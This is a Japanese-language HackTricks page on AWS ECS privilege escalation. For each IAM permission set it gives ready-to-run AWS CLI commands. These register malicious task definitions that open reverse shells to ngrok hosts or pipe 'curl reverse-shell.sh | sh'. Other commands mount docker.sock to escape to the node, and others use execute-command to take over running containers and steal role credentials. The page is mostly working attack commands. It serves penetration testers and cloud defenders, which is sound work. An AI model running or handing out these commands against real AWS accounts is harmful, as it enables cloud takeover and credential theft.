AWS - ECS Privesc

HackTricksをサポートする

ECS

ECSに関する詳細情報は以下にあります:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

攻撃者がECSでiam:PassRoleecs:RegisterTaskDefinitionecs:RunTaskの権限を悪用すると、メタデータクレデンシャルを盗む悪意のあるコンテナを持つ新しいタスク定義を生成し、それを実行することができます。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: 別のECSロールへの直接的な権限昇格。

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

前の例と同様に、攻撃者がECSで**iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTaskの権限を悪用すると、悪意のあるコンテナを含む新しいタスク定義を生成し、それを実行**することができます。 しかし、この場合、悪意のあるタスク定義を実行するためのコンテナインスタンスが必要です。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: 任意のECSロールへの直接的な権限昇格。

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

前の例と同様に、攻撃者がECSで**iam:PassRoleecs:RegisterTaskDefinitionecs:UpdateServiceまたはecs:CreateServiceの権限を悪用すると、メタデータ認証情報を盗む悪意のあるコンテナを含む新しいタスク定義を生成**し、少なくとも1つのタスクが実行されている新しいサービスを作成することでそれを実行できます。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

潜在的な影響: 任意のECSロールへの直接的な権限昇格。

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

実際には、これらの権限だけで、任意のロールを持つコンテナ内で任意のコマンドを実行するためのオーバーライドを使用することが可能です。例えば:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potential Impact: 任意のECSロールへの直接的な権限昇格。

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

このシナリオは前述のものと似ていますが、iam:PassRole 権限がない点が異なります。 それでも興味深いのは、任意のコンテナを実行できる場合、たとえロールがなくても、特権コンテナを実行してノードに脱出しEC2 IAMロールやノード内で実行されている他のECSコンテナのロールを盗むことができるからです。 さらに、他のタスクを侵害したEC2インスタンス内で実行させてその認証情報を盗むことも可能です(Privesc to nodeセクションで議論されています)。

この攻撃は、ECSクラスターがEC2インスタンスを使用している場合にのみ可能で、Fargateでは不可能です。

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

ecs:ExecuteCommand, ecs:DescribeTasksの権限を持つ攻撃者は、実行中のコンテナ内でコマンドを実行し、それにアタッチされたIAMロールを漏洩させることができます(aws ecs execute-commandを実行するためにdescribe権限が必要です)。 ただし、そのためにはコンテナインスタンスがExecuteCommandエージェントを実行している必要があります(デフォルトでは実行されていません)。

したがって、攻撃者は以下を試みることができます:

  • すべての実行中のコンテナでコマンドを実行しようとする

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • もし彼が ecs:RunTask を持っている場合、aws ecs run-task --enable-execute-command [...] を使用してタスクを実行します。

  • もし彼が ecs:StartTask を持っている場合、aws ecs start-task --enable-execute-command [...] を使用してタスクを実行します。

  • もし彼が ecs:CreateService を持っている場合、aws ecs create-service --enable-execute-command [...] を使用してサービスを作成します。

  • もし彼が ecs:UpdateService を持っている場合、aws ecs update-service --enable-execute-command [...] を使用してサービスを更新します。

これらのオプションの例は、前のECS privescセクションで見つけることができます。

潜在的な影響: コンテナにアタッチされた異なるロールへのPrivesc。

ssm:StartSession

この権限を悪用して ECSへのPrivesc を行う方法については、ssm privescページを確認してください:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

これらの権限を悪用して ECSへのPrivesc を行う方法については、ec2 privescページを確認してください:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: 異なるAWSアカウントからインスタンスを登録し、攻撃者が制御するマシンでタスクを実行することは可能か?

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: これをテストする

ecs:CreateTaskSetecs:UpdateServicePrimaryTaskSet、および ecs:DescribeTaskSets の権限を持つ攻撃者は、既存のECSサービスに対して悪意のあるタスクセットを作成し、プライマリタスクセットを更新することができます。これにより、攻撃者はサービス内で任意のコードを実行することができます。

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

潜在的な影響: 影響を受けたサービスで任意のコードを実行し、その機能に影響を与えたり、機密データを流出させる可能性があります。

参考文献

HackTricksをサポートする

Last updated